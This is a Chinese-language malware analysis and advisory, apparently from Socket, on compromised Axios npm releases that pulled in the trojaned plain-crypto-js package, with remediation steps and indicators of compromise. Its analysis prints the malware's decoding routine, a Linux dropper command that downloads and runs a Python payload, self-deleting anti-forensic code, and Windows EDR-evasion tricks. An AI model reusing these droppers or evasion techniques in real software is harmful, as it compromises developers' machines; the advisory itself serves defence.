针对 Axios 的供应链攻击从 npm 平台拉取恶意依赖项

4
分类业界资讯
来源跳转
发表时间

内容

一个针对广泛使用的 HTTP 客户端 Axios 的供应链攻击,已将恶意依赖项引入特定的 npm 发布版本中,包括 [email protected][email protected]

最新版本引入了 [email protected],Socket 已确认该包为恶意软件。我们的分析显示,该恶意软件会部署多阶段载荷,其中包括一个远程访问木马(RAT),能够执行任意命令、窃取系统数据并在受感染机器上持久化驻留。

Axios 是 JavaScript 生态系统中使用最广泛的 HTTP 客户端之一,在 npm 上每周下载量达一亿次,并被前端框架、后端服务和企业级应用程序广泛使用。

目前,我们尚未观察到任何证据表明此次活动与最近报告的 TeamPCP 活动有关。

发布流程异常

受影响的 Axios 版本未出现在项目的官方 GitHub 标签中。

Axios 通常会在发布 npm 版本的同时打上标签。截至撰写本文时,v1.14.0 是该仓库中最新的可见标签,而新观察到的版本没有对应的标签。

这一偏离项目正常发布模式的情况表明,该包可能是在标准发布流程之外发布的。

攻击发生时,Axios 维护人员无法重新获得对项目的控制权。在一份公开的 GitHub issue 中,一位协作者表示他们无法撤销负责恶意发布的账户的权限,并指出攻击者的权限超出了他们自身权限范围。 image 此后,一位 Axios 维护人员公开回应称,他们正在积极努力理解此次妥协是如何发生的,并加强发布流程的安全性。早期讨论表明,发布工作流程存在漏洞,包括继续使用长期有效的 npm token 与可信发布并存,这可能允许未经授权的访问。目前的补救措施重点是撤销 token、收紧发布控制并恢复安全的发布流水线。

恶意依赖项在几分钟内发布

恶意软件包 [email protected] 于 2026 年 3 月 30 日 UTC 时间 23:59:12 发布。Socket 的自动化恶意软件检测系统在 3 月 31 日 UTC 时间 00:05:41 即六分钟内标记了该包。此前 18 小时,[email protected] 发布了 [email protected] 版本。这是一个干净副本,是对合法 crypto-js 库的拼写错误仿冒(typosquatting),不含恶意载荷。

这一时间安排表明,该依赖项是经过精心准备并与 Axios 发布协同引入的。

Axios 更新仅进行了最小更改,主要是添加了恶意依赖项。具体而言,两个恶意版本的 Axios 直接发布到了 npm 注册表:[email protected][email protected]。x 和 0.x 发布分支均在彼此 39 分钟内被污染。任何使用插入号范围(^1.14.0^0.30.0)的项目在下一次 npm install 时都会拉取到被篡改的版本。 image 这是供应链攻击中的常见策略。微小的、有针对性的更改不太可能引起怀疑,同时仍允许攻击者通过传递性依赖项执行恶意代码,而这些依赖项很可能比热门软件包受到更少的审查。

可疑发布者活动

该恶意软件与 npm 发布者 jasonsaayman 相关联。

该账户出现在被攻陷的 Axios 发布中引入的依赖链中,引发了对未经授权的发布或账户被攻陷的担忧。

现在应该怎么做

  • 检查您的依赖项和 lockfile,查找以下版本:[email protected]

  • [email protected]

  • [email protected]

  • 查看 Socket 项目中 Dependencies 和 Campaigns 页面以了解暴露情况

  • 检查功能分支和打开的 PR 中是否包含这些版本

  • 如果找到,请立即删除它们或回滚到已知的安全版本

这是一起活跃且仍在发展的事件。我们正在继续调查此次妥协的范围,并将随着更多信息的获取分享额外更新。

恶意 plain-crypto-js 内部结构

Socket 的自动化扫描器对该攻击核心的篡改依赖项进行了完整的静态分析。触发器(setup.js,4209 字节)通过 postinstall npm 生命周期钩子自动执行。以下是我们的发现。

执行流程

npm install plain-crypto-js → postinstall 钩子 → node setup.js → _entry("6202033") → 通过 os.platform() 检测操作系统 → 分支到特定平台的有效载荷交付 → 删除 setup.js → 重命名 package.md → package.json(移除 postinstall 证据)

混淆技术

setup.js 中的恶意软件使用了一种自定义的双层编码方案,专门设计用于逃避静态分析和基于签名的检测:

  • 第一层——反转 Base64:编码字符串被反转,下划线替换为 = 填充字符,然后进行 base64 解码。
  • 第二层——XOR 密码:每个解码后的字符都与密钥 OrDeR_7077 中的一个数字(通过索引 7ii % 10 选择)以及常量 333 进行 XOR 运算。

stq[] 数组中的所有 18 个混淆字符串——包括模块名称、C2 URL、shell 命令和文件路径——都隐藏在这种编码之后。这不是压缩或合法的 IP 保护;它是专门构建的,用于隐藏恶意软件的指示器。

const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0),
      a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};

const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};

const ord = "OrDeR_7077";

解码的有效载荷字符串

对所有 18 个 stq[] 条目的静态解码揭示了完整的攻击基础设施。这些字符串分为四类:

  • Node.js 模块 — stq[0]:child_process,stq[1]:os,stq[2]:fs
  • C2 和平台检测 — stq[3]:http://sfrclak[.]com:8000/(C2 基础 URL),stq[5]:win32,stq[6]:darwin
  • 特定平台的投放器模板 — stq[7]:Windows 的 VBScript 投放器,stq[8]:cscript 启动器命令,stq[9]:macOS 的 AppleScript 投放器,stq[10]:nohup osascript 启动器,stq[12]:Linux 的 curl -o /tmp/ld.py
  • 反取证和文件扩展名 — stq[13]:package.json(删除目标),stq[14]:package.md(干净替换),stq[15]:.exe,stq[16]:.ps1,stq[17]:.vbs

每个平台变体都会向同一个 C2 端点发送不同的 POST 正文:macOS 的 packages[.]npm[.]org/product0,Windows 的 packages[.]npm[.]org/product1,Linux 的 packages[.]npm[.]org/product2。请注意,npm.org 不是 npm 注册表;该域名属于国家 pastoral 音乐家协会,自 1997 年以来一直如此。实际的 npm 注册表位于 registry.npmjs.org。该字符串是 curl-d(数据)参数,作为 HTTP POST 正文发送到 sfrclak[.]com:8000。这种命名是有意为之:网络监控工具和 SIEM 规则记录 HTTP 请求正文时,一眼就能看出这看起来像是常规的 npm 注册表流量。产品编号后缀还允许 C2 服务器从单个端点路由到正确的特定平台有效载荷。

特定平台的有效载荷

macOS: 投放器使用 AppleScript 将二进制文件下载到 /Library/Caches/com.apple.act.mond——故意模仿 Apple 的 com.apple.* 命名约定,使其看起来像是一个合法的系统守护进程。二进制文件通过 curl 获取,POST 正文为 packages[.]npm[.]org/product0(充当活动标识符),可执行权限(chmod 770),并通过 /bin/zsh 在后台启动。C2 URL 作为参数传递给下载的二进制文件。AppleScript 本身通过 nohup osascript 包装器启动。

Windows(win32): 攻击定位 PowerShell 并将其复制到 %PROGRAMDATA%\\wt.exe——伪装成 Windows Terminal 以逃避 EDR 检测。VBScript 包装器(window style 0 = 隐藏)随后启动 curl.ps1 脚本下载到 %TEMP%\\6202033.ps1,并使用 -w hidden -ep bypass 标志执行它。VBS 文件(%TEMP%\\6202033.vbs)通过 cscript //nologo 启动,并在执行后自我删除。重命名 powershell.exe 是一种众所周知的 EDR 规避技术。

Linux: 最简单的有效载荷——通过 curl 将 Python 脚本下载到 /tmp/ld.py(POST 正文:packages[.]npm[.]org/product2),并使用 nohup python3 将其分离运行。

curl -o /tmp/ld.py -d packages[.]npm[.]org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &

投放器的作用是投递:它从 C2 服务器下载并执行特定平台的脚本或二进制文件。

macOS 第二阶段有效载荷:Mach-O RAT

Elastic Security 的安全研究员 Joe Desimone 在 C2 离线前捕获并逆向工程了 macOS 第二阶段二进制文件。该有效载荷是用 C++ 编写的完全功能的远程访问木马。

启动时,RAT 通过 argv[1] 接收 C2 URL(由投放器传递),生成一个 16 个字符的唯一受害者 ID,对系统进行指纹识别(主机名、用户名、macOS 版本、时区、CPU 类型、OS 安装日期、启动时间、正在运行的进程、/Applications~/Library~/Application Support 的目录列表),并通过 HTTP POST 每 60 秒向 C2 发出信标。所有数据均经过 Base64 编码。User-Agent 字符串为 mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)——一个高度独特的 Windows XP 上的虚假 Internet Explorer 8 签名,在网络日志中非常明显。

RAT 命令:

  • peinject——接收 Base64 编码的二进制文件,将其写入隐藏的临时文件(/private/tmp/.XXXXXX),ad-hoc 代码签名它(codesign --force --deep --sign -),然后执行它。这使攻击者能够部署额外的有效载荷。
  • runscript——通过 /bin/sh 执行 shell 命令,或通过 /usr/bin/osascript 执行 Base64 编码的 AppleScript(写入 /tmp/.XXXXXX.scpt,然后清理)
  • rundir——枚举目录,收集名称、大小、时间戳和层次结构
  • kill——终止 RAT

这证实了 macOS 代码路径是有效的,并且攻击交付了一个功能齐全的 RAT,能够执行任意命令、注入额外的二进制文件以及枚举受害者的文件系统。

反取证:自我销毁

有效载荷执行后,恶意软件执行三项清理操作以销毁证据:

  • 删除 setup.js——移除恶意脚本本身
  • 删除 package.json——移除包含 postinstall hook 的版本(4.2.1)
  • 将 package.md 重命名为 package.json——恢复干净的版本(4.2.0),不含 postinstall 脚本
fs.unlink(__filename, (x => {}));

fs.unlink("package.json", (x => {}));

fs.rename("package.md", "package.json", (x => {}));

清理后,安装的 node_modules/plain-crypto-js/ 目录看起来像是 crypto-js 的正常副本,没有任何恶意代码的痕迹。

Socket 的扫描器识别出另外两个通过托管依赖项分发相同恶意软件的软件包:

@shadanai/openclaw

该软件包是开源 OpenClaw AI 网关的分支。恶意 plain-crypto-js 特洛伊木马隐藏在版本 2026.3.31-22026.3.31-1 的软件包托管路径深处。

setup.js 文件与独立的 plain-crypto-js 包完全相同——相同的混淆、相同的 C2(sfrclak[.]com:8000)、相同的平台有效载荷、相同的自我删除机制。

@qqbrowser/[email protected]

该软件包使用了不同的注入向量。它没有在 node_modules/ 中直接托管 plain-crypto-js,而是发布了一个被篡改的 [email protected],并将 plain-crypto-js 作为依赖项注入其中。

真正的 axios 只有三个依赖项(follow-redirectsform-dataproxy-from-env)。添加 plain-crypto-js 是明确的有意篡改。当 npm 处理这个托管的 axios 时,它会安装 plain-crypto-js 并触发相同的恶意 postinstall 链。

这两个软件包很可能是在 [email protected] 为最新版本时构建和发布的,通过传递性依赖项获取了恶意依赖项,而不是有意注入。这提醒我们,随着 AI 工具和自动化构建流水线的加速,单个被攻陷的依赖项可以在几小时内 cascading 传播到整个生态系统。

入侵指标 (IOCs)

恶意软件包

网络指标

  • C2 域名:sfrclak[.]com
  • C2 IP:142.11.206.73
  • C2 URL:http://sfrclak[.]com:8000/6202033
  • POST 正文(macOS):packages[.]npm[.]org/product0
  • POST 正文(Windows):packages[.]npm[.]org/product1
  • POST 正文(Linux):packages[.]npm[.]org/product2

文件系统

  • /Library/Caches/com.apple.act.mond — macOS 有效载荷
  • %PROGRAMDATA%\wt.exe — 重命名的 powershell.exe 副本(Windows)
  • %TEMP%\6202033.vbs — VBScript 启动器(Windows,自我删除)
  • %TEMP%\6202033.ps1 — PowerShell 有效载荷(Windows,自我删除)
  • /tmp/ld.py — Python 有效载荷(Linux)
  • $TMPDIR/6202033 — 临时文件(所有平台)

评论

(0)
未配置登录方式
暂无评论